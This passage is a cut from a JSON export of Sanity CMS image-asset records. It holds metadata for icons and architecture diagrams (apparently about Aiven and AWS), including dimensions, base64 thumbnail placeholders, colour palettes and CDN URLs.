fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a8846c","foreground":"#fff","population":0.33,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5804","foreground":"#fff","population":0.33,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-star.svg","path":"images/sczeoy4w/production/f031c696b7d1e96077b40dee85d180c60d675137-25x24.svg","sha1hash":"f031c696b7d1e96077b40dee85d180c60d675137","size":1036,"uploadId":"VHhHOc78qFN0jXxgn6PzBTjq4KxFSwWb","url":"https://cdn.sanity.io/images/sczeoy4w/production/f031c696b7d1e96077b40dee85d180c60d675137-25x24.svg"} {"_createdAt":"2022-12-05T15:59:48Z","_id":"image-ab085d541ffda89ec1fd230558a3d8838204a851-25x24-svg","_rev":"0rD6Phxg3duzic15oI2Tb3","_type":"sanity.imageAsset","_updatedAt":"2022-12-05T15:59:48Z","assetId":"ab085d541ffda89ec1fd230558a3d8838204a851","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0416666666666667,"height":24,"width":25},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAATCAYAAACQjC21AAAACXBIWXMAAAsTAAALEwEAmpwYAAAC9UlEQVQ4jXWU24/fUxTFP1ODDkOFMK6lCEZTl7boAwkvJC6ZSKo02un0rG8vaSOZuDSlQ5CQeJAQt6S0Etcodau6xdSTf+ss9jm7v5kIDyfn+zu/c9Zee+21Nx6gLYF3gXfm91w7P8viRosnLHZUsdGFc+u+Zfe3Q43vreACeHcCxtrRDgPkHIszPbDaYt7iR4vfLF6zuNViwgOTHpjwLlYEkO+HOhuAZbRWWFxicW8yesBi1uK4B36y+MZq+wEPzHhgNvc1FuNBKJh26n2db/GoxdF8eCyZ/WrxtMV2iy89sFgHvos7tQfZW8Wl/wV4lcXrVfxpccTifYtPqlhoaRautpDFhxbvWrxdxWIVH1ms86GO0wXt63KLV6s4abGvijvqwCYP3G5xrdUApz2wIXV8vIpvM/BNTbbGMAqxs+kXBThgsRh7LUzVzvoxi5eDfTKcduGiqLrFzxZvWtzSHDEEww52XRXF4osqTlnsd+H62nU7lg+D+YkMus5ii8X3ef5CZGSxMmiel9X8wT2Fg1UtzY1VfBDnVeyx2GrxscVXFo9Y3Gyx2+KztNShkCYApyxesvirijcs7rS4wOKeVtVehGAU6b+YgbdZLe1pi2cs/rA4bLEh/LeqiiHTOp4XbguG7gwjrX8zfDg7qFh8OmJYgmHhjIz0VJr3VH7f4P/TsLDWYiZ8WMUvFgtNwxIa7m1tN25xjcVzCRipXWZxpcXm5VWuYq0LF4ZtMsA7Fustzl7yYR8OUylssJl3aZfWp35r0odRiE0px+Zkf7jZ5u6OM+qUKq6weCUZRiHeio6p4vk08urU+miCvJfFOOLuirFR62W3hH1m8sHJ1PNE7YI/a/GkxecJ0v5LhntCnrrtdKcEWG+bMYuLLe7LYkQlY/86A8TjGBoHLR7M1nsopRivObWiU5ZA+1yMFppsIpcmw/60zu/uPo1ensiZubIWxmoM2oU+lJdPmyXQ07/nGI8WzH6es7jLhck6P8pqaTiHW/5J+W/D+oEuLIanNgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c3c34","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#770c04","foreground":"#fff","population":1.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc640d","foreground":"#fff","population":1.83,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8a2d0e","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec744c","foreground":"#fff","population":0.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#755c3f","foreground":"#fff","population":0.83,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc640d","foreground":"#fff","population":1.83,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-settings.svg","path":"images/sczeoy4w/production/ab085d541ffda89ec1fd230558a3d8838204a851-25x24.svg","sha1hash":"ab085d541ffda89ec1fd230558a3d8838204a851","size":1138,"uploadId":"igEJnrplQllJGlMkzPtqB4J1njTT99eu","url":"https://cdn.sanity.io/images/sczeoy4w/production/ab085d541ffda89ec1fd230558a3d8838204a851-25x24.svg"} {"_createdAt":"2022-09-13T14:33:35Z","_id":"image-ba40401f9c729823f3e544595453b9b7622cb393-960x720-png","_rev":"k8Pq0px2i8BPOfOn9tmv1C","_type":"sanity.imageAsset","_updatedAt":"2022-09-13T14:33:35Z","assetId":"ba40401f9c729823f3e544595453b9b7622cb393","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VJE.^Y-;IAD%9ZD%o2M{t7WB0JIU~q-;V@xbR*RjozRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3333333333333333,"height":720,"width":960},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEQ0lEQVQ4jW1U/09TVxS/777SVqS08kW+TGhCBRxCFLMMiC5ZcMAQ5zbNHC6abYFtBHEICYkMcHFhmYokgCyzWYc6YYwNEqYMAoOKSUsbCq30K30tr6/vtfS1r+/RhT+A5bUS/WE3OTkn5577uSef8wWA2IEAAPSF8DbCH17/j/D3gldjwUsBoKKiAnZ2du4fGBg4rFQqj/T29mbV1dWJ+YDi4mIkNzcXUSgUSFpaGgIh5EHi5XJ5Uk1NTUZDQ0N6d3e3pKuri/fzOUCgVCqFOp3uhNls/t7hWL/rcDjOLy0t7dvZ2Yl+yOtdm88qISFBrFKpFFqt9mOz2dzkdrurCYJIlUgkiFgshmBmZkaIYVgljuP3vV7vX36//ysMw/bnKBTI6OgoOjw8DOfm5uDNm7cgQBBYUlKCulyuIwRB9FMUNU/TdDfDMHk5OTmIVCqFYHBwELVYLHK73V5ps9nO2Oz2Nzbc7iKfz1fu8/lOBQKB6q2trXdYli18ql6QZGcdgARBZBMEcYkkyW9omv4oHA6np6amIvHx8RCkJCcjjZcvo3du3xZVHj8umpqcTAoxTG0kEhnlOG6O47jZ7e3tie3t7SvrTuwAz5Vep4szGAzS5eXlFI/HI+E4DkVRNMahXJIYrc698irh0wufppmHHh4O+XwX/41E+jmW/YUNh3/ltrZ+2wyGry2u2Avf+6JdeK3x4i6nyCv8xjrgbElpFFDT8a10/Z7q9MbfM9c3TcaO4HPTZxa15qxBb6p140SnzUX0zC/bz90dnZG9AEEOZryGlh49KsjLzoIJe+IhKoiD4FxlVQxQdT/R+c/CKWJltT9kt00xZvOEdVE38GxBf9WO4T+YMWJkcXW9fubZcobHg8tm9ctp3408kuZfqhUAsRgmH8yCorhoX8Ya8np7u0Cr0aZ6NzbKGYr6kaEoE+nG5x12rNvlIQdX170PH2stH5osjmObgcCXVtxzddpoKPup78be8wCgyQBBAZBA0NLSAvV6faLNZstxud2FNE0XhRimKhQKNQZo+nOKJM94SF+byUl0jqsNZRab461AINDj8fkH1ixr71OTfxzDJ8bfnB36s/DGrZF0YDQa95Ik+a7f7+8NBoOPOI5rY1m2gN70J4aCwQSS9O4jKd/rdhdeND41l6pd0mVSFFVKkGQZbjKeoI2rHZTp+Zh5aeXO42ndSWC1WpP9fn9TMBjUsCy7FolEesLhcD5PPM2EouVz2q3I2AMlPKSQo5mZGWjrlSak/sInCOF0HvLheI/XvWHAXRsjFquzCmg0mj0kSZaFQqEmlmW/ZhjmbafTKaurq0Oam5uR/Ly82NC/XCK7CwGsY1iSlyRPEl5vvZckP3C5MDkoKCgAQ0NDcWq1OkGtVkv6+vqEIpEo+hBFUSgQCCA/UjKZDAqFQsjPa0pKStR3uroafaD6WTT95En82Ojv4tbWNvQ/eKcjbQKvDrcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#663342","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e4c8c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ef8f92","foreground":"#000","population":0.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d3b39d","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef8f92","foreground":"#000","population":0.14,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5a92b2","foreground":"#fff","population":0.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc1433","foreground":"#fff","population":0.06,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"diagram-vidio-aiven.png","path":"images/sczeoy4w/production/ba40401f9c729823f3e544595453b9b7622cb393-960x720.png","sha1hash":"ba40401f9c729823f3e544595453b9b7622cb393","size":26677,"uploadId":"psz0pJpvwlJ2gGmTK0m4K9LRmzp3ylM7","url":"https://cdn.sanity.io/images/sczeoy4w/production/ba40401f9c729823f3e544595453b9b7622cb393-960x720.png"} {"_createdAt":"2022-09-13T14:35:29Z","_id":"image-c6025f85926dbe5ccb0c95832784c004320994aa-884x562-png","_rev":"PMq0xitQ26NszJZ6mVknwd","_type":"sanity.imageAsset","_updatedAt":"2022-09-13T14:35:29Z","assetId":"c6025f85926dbe5ccb0c95832784c004320994aa","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VBGbuB^+000000~qIV%MW;E1M{0K%gx]NH-;4nxa-;Vs","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5729537366548043,"height":562,"width":884},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAAD7ElEQVQ4jVVSa0hbZxh+Ty5qc3NeYqaZ7Uh0drqBzKIgyspudgO7au1AW+kqXXWzVZBOpaMdpQW3urLOEUWxDtcpiCh6tj+ZDW1tdYHE6EmTbZkxF5tzjgmek5Mu95Ms44j7sQce+L73/Xj53ud5AADSASBTIpHkFBcXyysqKvKqqqrklZWVebW1tTltbW2SwcHB9J6eHgEA8LRa7QsEQbxLUdTnFEVd2+dlHMePjo6OigBBkAwEQTK7urqK5ufnj+t0ugsrKysdBoOh3WAwfGI2m1udTucHbrdb1dzcLNTr9S/SNN0dCAR0NE0bOQYCgV/9fv8FFEUzQSgUCkQikRDDsHIcxzU+n2/D7/dbg8HgU5qmnxIEgXm93jmv13tiZGREvLS0lE3TdCPDMIMkSY66XK4Jj8fzLUmS9dPT0xKQyWS8pqYmCIVCR6LR6ALLstFkMplKJpPJWCz2TygUSgWDQStN0+dQFJX19fUJCILIsdvtKhRFXx8aGqocHhkpn5qaUjQ2NgqhWnWIX/3qYYRhmLJIJHInHo8bWJbF4vH4RjQa5YhFIpF5hmGO6/V6USqVgn1wmooAQAwAGft3PtfgAUDa5ORkgdVqecfldJ52u1ytbrf7DI7jzTiOt2xtbX24vLxcUldXJ25oaBAvLi4qURQtGx2feOXyjTs5R0+1p+crCwV8HsKHudMnFe+VFMnlubnyiqrq/JNnzhde+fLmIY1mWLWwsHBwZmZG2dHRUVBaWioHgKz+/n6VyWRqtdvtQ5jV9vX8A+OJS7d+zAckQyDOEPJh96vrx7Q9F9U54gMSRVVD7rXxXypXsc0WnCAuURTVtbOzc251dfXNzs7OAgCQDgwMvGyxWD7b3t7WbTpcq4+MlqvXv588zMVPkZslgODY8FvMvYn8i9XFSPf4wywdtv0xsft8KRKJ2mOxmDMcDm/QND2wvr5ewunU29srMhqNZTab7aztr83uNcxad+u7YQUnm0wmFYBVM5zJaLVCzdhdePI7LiZ3A2fDkZg5kUgkk4lEimXZ5+Fw+Accx1/j9JZIpbypqZ/ET1ZWih7+tvbG3COz+sY9HWcOL00o2DNlD5x7Ox63MBT8uyYWi2lYln2QSCQex+Pxn8PhcLfX632Je9f+aSfidDiUzzyelj8cz764v+74aOz+n9wPIS83mwdHior4ZWo1AgBI35WrvC2HM5uiqHKGYd4OBAJ1DMPU+nw+1draGhcNOHbsfcTtch0kSfK820PeNG9un1p8jHGGIYVKJZcY4IZxh/+xpqaGX19fL1Cr1dwae7X/MDs7e8BisRTabLZik8mk+Ob27TSuL5VKef8C1BYHaWAKJ6wAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#563626","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c4c84","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bebbbb","foreground":"#000","population":0.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bebbbb","foreground":"#000","population":0.38,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f08f92","foreground":"#000","population":0.06,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#647c90","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2e7cbc","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"diagram-vidio-aiven-outcome.png","path":"images/sczeoy4w/production/c6025f85926dbe5ccb0c95832784c004320994aa-884x562.png","sha1hash":"c6025f85926dbe5ccb0c95832784c004320994aa","size":19823,"uploadId":"aUr2F5OIYXNYLj4bFr3h9PJTH2koX0E9","url":"https://cdn.sanity.io/images/sczeoy4w/production/c6025f85926dbe5ccb0c95832784c004320994aa-884x562.png"} {"_createdAt":"2022-09-13T14:53:54Z","_id":"image-30122adcd1af0ecb828bed5762d9c49ad1837cd9-1589x642-png","_rev":"STwkGY00NBjXpkjjLygA5R","_type":"sanity.imageAsset","_updatedAt":"2022-09-13T14:53:54Z","assetId":"30122adcd1af0ecb828bed5762d9c49ad1837cd9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DIJO|-$K0yob+H|O62-mNsa$","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.4750778816199377,"height":642,"width":1589},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAACk0lEQVQokQGIAnf9ACwyOzYqMTw6LzM7LzM5OhDcV2oV5lVrSeVVa2fmVWtp5lVraedUa2ftT2dh90ZiVvtDX1P6RWBD9EljGuRSaSHoTmZR80ZgXvlCXljvSGJFAGJMLDRnTis5cVMoMH1dJBPvS14c+UZhW/lFYYD4RWGD+EVgg/lEYIH6Q1+B/EJffv1CXn78Ql9l9kVgKPNEXyv4QF1p+z5bhfxAXYP0RWBlALh1FBjEexEfyHwQGsWAEAnySVsN/EFeLPhBXT/sQVtF5D9YR+U9V0bqPllF7UFbROhAWkbeP1c7wT9TG9dBWBnsP1o46D1XSes/WUjpRV41AP/XAAL/0QAE/9MAAv/PAADbVU4B/0lMA7RNTwhtREUUVTk5HVM0NBpnODkSf0lJD2RAQRdONTcZPTEzElRAQwpxSlAPVzo/GlMzOBhhOD8NAN00RwLvNUwH7S9TBdMOaAD/AAAAAP//ABWJxAM1UmAQKj1GGSA1QRUWQVcKFl2BBho8TQwdLjUPKS8wC0RLSgdDT04KLjY1FScvLhQhLiwJAP1VKRT/Sjkv/0NBIvw6TwXSizkG2IM7GNGDQSXCfkQruXhBL796Py7Nfz0n24AxI9t4Ix7EbCIQhGNJBX5/hARvZWUFQTk6CDgvMQdCMzUCAJ9IJzPJSDBTwEE3P340PRLeeBkY9H0VT/N+F3Dyfhl084EeevWEIoD1gRx3+H8VePt/E234fxQ11IZBCnmhwwKpkHkBeHh4AElJSQApKSoAAEY2LFNdOS1ZVjYvTDkwMybSbhUm/nwLbv18C5r+fQyd/oARqP6CFrT+gBGn/oARrf6BE6P5gBVQ3YIxDQDm/wDsgSIAFxgYAFNUVAAwMDAAEE7vgPcEYLUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#573528","foreground":"#fff","population":0.58,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#770811","foreground":"#fff","population":0.35,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f87709","foreground":"#fff","population":3.78,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#900823","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f77d95","foreground":"#000","population":0.38,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6d7072","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f87709","foreground":"#fff","population":3.78,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"diagram-aws-aiven-byoa.png","path":"images/sczeoy4w/production/30122adcd1af0ecb828bed5762d9c49ad1837cd9-1589x642.png","sha1hash":"30122adcd1af0ecb828bed5762d9c49ad1837cd9","size":48747,"uploadId":"ZjeKkI2EOwGt37XJO1xIDtxVtTWOABe6","url":"https://cdn.sanity.io/images/sczeoy4w/production/30122adcd1af0ecb828bed5762d9c49ad1837cd9-1589x642.png"} {"_createdAt":"2022-09-13T14:55:50Z","_id":"image-ff75ae7085a5426fbb36ee47306de091ef0cfb3c-1565x880-png","_rev":"PMq0xitQ26NszJZ6mVn2x7","_type":"sanity.imageAsset","_updatedAt":"2022-09-13T14:55:50Z","assetId":"ff75ae7085a5426fbb36ee47306de091ef0cfb3c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MALgY5HW#mMJ0L00VYWVx]%100E0rr%g%g","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7784090909090908,"height":880,"width":1565},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAADhklEQVQokQF7A4T8AJaWlgOVlZUBg4ODAJeXlwCAgIAHcnJyEmxsbBJXV1cNOzs7Czg4OAdgYGACl5eXApmZmQJ7enoCXlxcCWdmZg9zcnIRZmVlFFRTUw5LSkoFAJaWlgOcnJwDoKCgCKGhoQuZmZkLkJCQE5GRkRmMi4sZgoKCGYeHhxSTk5MIl5eXA5iXlwOTg38EfGlkCY2CgBKdlJIaiX98FWtcWAxiUEsEAJWVlQiPj44JkZCPHZGQjyuUk5Mfo6OjLaOjoz2cnJw8l5aVO5WUlDaTkpIbkpKTCZeWlgegj4sIoIF5CaSamB2oo6E0pJuZIJp8dQqehH4GAJiYmA20tLUVtbe4M7O1tUaztbU1oKCgNpubm0SoqKlOr7GyUa2vr0mnp6ckmJmZCpaUlAenk48IxrWyD728vS64ubpLwcHBMsu+uxOnlZELAKOkpBDg3t017uDfc/Ld3Izx4+Rv0M/POMHAwDvg1dR17djYke/g4Xnp5uY3yMzLCXhqaALFrqkG6eLfKeze3W7s2NeR8eLjde7n5jWzp6QOAK+xsxLu6udY+t7Zv/3Tz+b94eG19PDyS+/t60j44Nuy/NPO5/3f3sH58fJX5ObjDUIAAAHexcEI9O3qRvnf2rb80s3n/N7dwPbt7Vi/uLQQALW2uBPz7+xi+eXe1fnb1f/65uTK9/P1VPb181H56OLH+dvV//nj4dj48fFi59/bD4YAAAHkw74K+fLvT/nn4cr429X/+ePh1fbu7mLCurcRALW1tRPy8fBe8+/uzPDr6vfz8O/C9PT0UPX09E708e+/8Ovp9/Lu7s/19PRe5uHgDgoAAAHlycMJ9/PyTPPw78Pv6+n38u7tzfPv717Bt7QRAK2trRHp6elG6urrlObn57Pq6+uN7OzsPOvr7Drq6+uK5ufns+nq6pbs7e1Fzs7ODW1qaQPIt7MJ8OvqOOzr64zn5+ey6+rqlOzo50a5raoPAJ2dnQ7HxsYhz87OPs/OzUnQz886xsbGHcXFxR3Pzs47zs7NStDPzz7JyckgpaamDJKQjwmnmpcL1MbCGuHPyzbgy8VF4M7KOdXIxR6pmpcMAJWVlQyWlpYTl5eXHJeXlx+Xl5cZlZWVEZWVlRKXl5cbl5eXH5eXlxuWlpYSlZWVCpeVlAagkY4JrouDDseDcxXTf2sayINyFK+Lgw6gkY0LqcMJgxdVeigAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#543c31","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5e1b1b","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c39695","foreground":"#000","population":0.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c39695","foreground":"#000","population":0.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcc46c","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e8c64","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e74f12","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"diagram-aiven-on-aws-outposts.png","path":"images/sczeoy4w/production/ff75ae7085a5426fbb36ee47306de091ef0cfb3c-1565x880.png","sha1hash":"ff75ae7085a5426fbb36ee47306de091ef0cfb3c","size":51619,"uploadId":"hbF0LluyligWOqRhru0iOC2pnJ0619P5","url":"https://cdn.sanity.io/images/sczeoy4w/production/ff75ae7085a5426fbb36ee47306de091ef0cfb3c-1565x880.png"} {"_createdAt":"2022-10-25T14:12:34Z","_id":"image-03efdacf762bdbd4313e54dd1177118d19470116-1999x1233-png","_rev":"Qcyw2DP1mihQ74Z84AK8YW","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T14:40:45Z","assetId":"03efdacf762bdbd4313e54dd1177118d19470116","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VDQS-s_h*K*wZ200;{+t$yt600%h%M%gtm4n,:#RxVt7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.62124898621249,"height":1233,"width":1999},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAAC00lEQVQokZ2RPYhdRRTHL0hWSG1rkcKAjY1WKZNGISRN0MfCJqZYglkrxYBNEi0sbGKjgeBX0FWTaNSAS+KuIeZLgiy69+0+5e3LSxR23/2YOzNnzpyZuXfJGbmXoAhWDvy6OX9+/3MSeP2JffjWzufo9JO7/PwzO9TSy9s/Hcpt7yyPpt78efTo4RvLj81cv/3UkZvXdr320+LTJ+8sPX76lzvbL671p86v/jp1fu33qUvDe9u+H9975Nz6apLQBwde9V/PHmtunphr7l8+hFj1MgovCPK9ilxvrGCmX1azg7J8aVgWR8aifDHXeloZ7LVIgz1j6Xlybo8G2JG4d59dDPMHVpqF2dVmML8CapJOjEslUgpE6URDf0OqvgSTVlr1N0XZz6sqVRpSAJNqMKlBTK213wlRHUvs23tG/sz+UH95KNYrZyPKjSiMjRoxIlEUGmIhVdQAUWodc1HGQoiolI4ApgPbv4gyy4vLCb0/MwgX5lzzw/G4NbrC3ko2PjB5zy4EBiLWaBmJGK1lBcDaGDaIHRrxgSWK1hJmWX47off2DsNn075ZOBqbwReMOuPSetbkGMlxAYZzDe1gF1bIioWUrDRwKSVPKsGtuTFoJll+K7Gn9q77j6d9/e3RWPc/Z1SbLJEY0LKxlkU7qHRnpbTmQgguhWCpVCyrKmZFwZVUEYzBSWf44cxa+GrONVdPxK27V9ihZHCBrfNdbW2J1cNwjSZWWndGYEw0ptshI9porX1Y+dTudf/RPl9/czA2/bNs1IRzQ6wsMTrPJRLngCwRWYDuKmay4ja4DQMwD9pAg23l7FZCZw6vhQuvuGbxjbg1XIjBVtG4EMmHGOomWh8iOh/J++7q2pjYmqJtrbpjRCL3z1H8ytIn9Xj5j3rzt7qBPDR1CE3T/Iu6rv/mv1/dWEvVxubkx4SIDgLAJaX0WCp1/3/yZ1GUg9Hd8cW/AKx+QL5pqnDjAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#425c53","foreground":"#fff","population":0.21,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c190a","foreground":"#fff","population":0.25,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ef8c25","foreground":"#000","population":6.67,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dfc8c0","foreground":"#000","population":0.12,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2d098","foreground":"#000","population":0.58,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5dacb0","foreground":"#fff","population":0.27,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef8c25","foreground":"#000","population":6.67,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"03efdacf762bdbd4313e54dd1177118d19470116-1999x1233.png","path":"images/sczeoy4w/production/03efdacf762bdbd4313e54dd1177118d19470116-1999x1233.png","sha1hash":"03efdacf762bdbd4313e54dd1177118d19470116","size":107868,"uploadId":"sigBwYgpwZmKbvWeCZ8umjMIoKXfGjj5","url":"https://cdn.sanity.io/images/sczeoy4w/production/03efdacf762bdbd4313e54dd1177118d19470116-1999x1233.png"} {"_createdAt":"2022-12-05T16:09:21Z","_id":"image-b1708fdf0816cb3f4d63d9b7509a26d08a9accdb-25x24-svg","_rev":"Q5FQCDXvpel1KfJ9UGDrd3","_type":"sanity.imageAsset","_updatedAt":"2022-12-05T16:09:21Z","assetId":"b1708fdf0816cb3f4d63d9b7509a26d08a9accdb","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0416666666666667,"height":24,"width":25},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAATCAYAAACQjC21AAAACXBIWXMAAAsTAAALEwEAmpwYAAAC90lEQVQ4jW2U64uWVRTFfzOjNY4hU/TBMjQzCivoQxfJG0U3KaIvpUPQ6PusM9OM1UCCdkGyK2Fo0UWkCLpBqYF0r7/urNr7Oc/rS/TC4ZzzvGevs/Zeax+8Ci5ggY+CAXdMWVxlsSFHx3qLKZf8PmMx7UXwsRa7DLlfiuC72scO6u6cZy12WixYHLd4xeIpi5stbqpin8V9FtfmJcfBR8BnwAd7NglYYx4lq3st3rH4xeLvNi414Kct3rP4PNeFeZ9qgEHqOdoi6I4y7a1VvG7xp8UntXDYhRWLby1+tni1jVh/UcUulyxBlqyWATDGElNV7LH40eJri721MOfCdRaHqrhs8bHF4xZvWfxhsWixcQCMbMeANW4qHLD41eK0xZb8b5RCRM2+sfjS4gGLrorfLV5yx3wwC0F6wFjEh5VUca/Fhdoz3OOOOSsZhkCX6/8x7NhYB1KjATAEWYQqtlVxcqihxRGLVYvvom5VnKgTNbTYVTtmMj5SHk2onKJ0XG1xv8W7/1H5gsVa7VV+f6xyx3woW5ebSxYC8HmoCxMG7Q19u8WzFscsXraytlssbgyxWk3nsxFKn2oSS4ZHx0CztQ+4swXst3jE4uFUXNxTxR0NOGq7KYxucb2XWOd94MM0U8Zt4kH3HvyqCXPJhYsuaeqfLH6wOGfxYi1Zlv0tg1UX7nZhtq4w7o6HLM435b5vBc9Rr6zDMhfd2+V0FbI422z2dmY2YiqUjRTesPjL4s3msx0W213YPp4Lt1k8ZvFZc8GaC09W8WlcUnsLzdF69/zQHe6YGXyVVhjmvhM2NE/+ZnGyih1VHGwsT1lspqUbvRqm3ZkClfFTdWVeSWtMN5HCRh9Y3Nrio10/tLglACPFM1W8ZrEt5R+8+QL4mQmGAdz79COLE3m+d8TZFr81DoVVHs2HobApVQ9fRQfF09S/Qr214jEWN7Ra7s7zYvPE/po4MF3F+irWZXoBGGOZ8S/ZroGfSMBIO17w/nzPut//+2L/A1XSYcMC51hpAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#54342c","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a2508","foreground":"#fff","population":1.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f96007","foreground":"#fff","population":5.33,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#913107","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f46e34","foreground":"#fff","population":0.5,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#987464","foreground":"#fff","population":0.33,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f96007","foreground":"#fff","population":5.33,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-users.svg","path":"images/sczeoy4w/production/b1708fdf0816c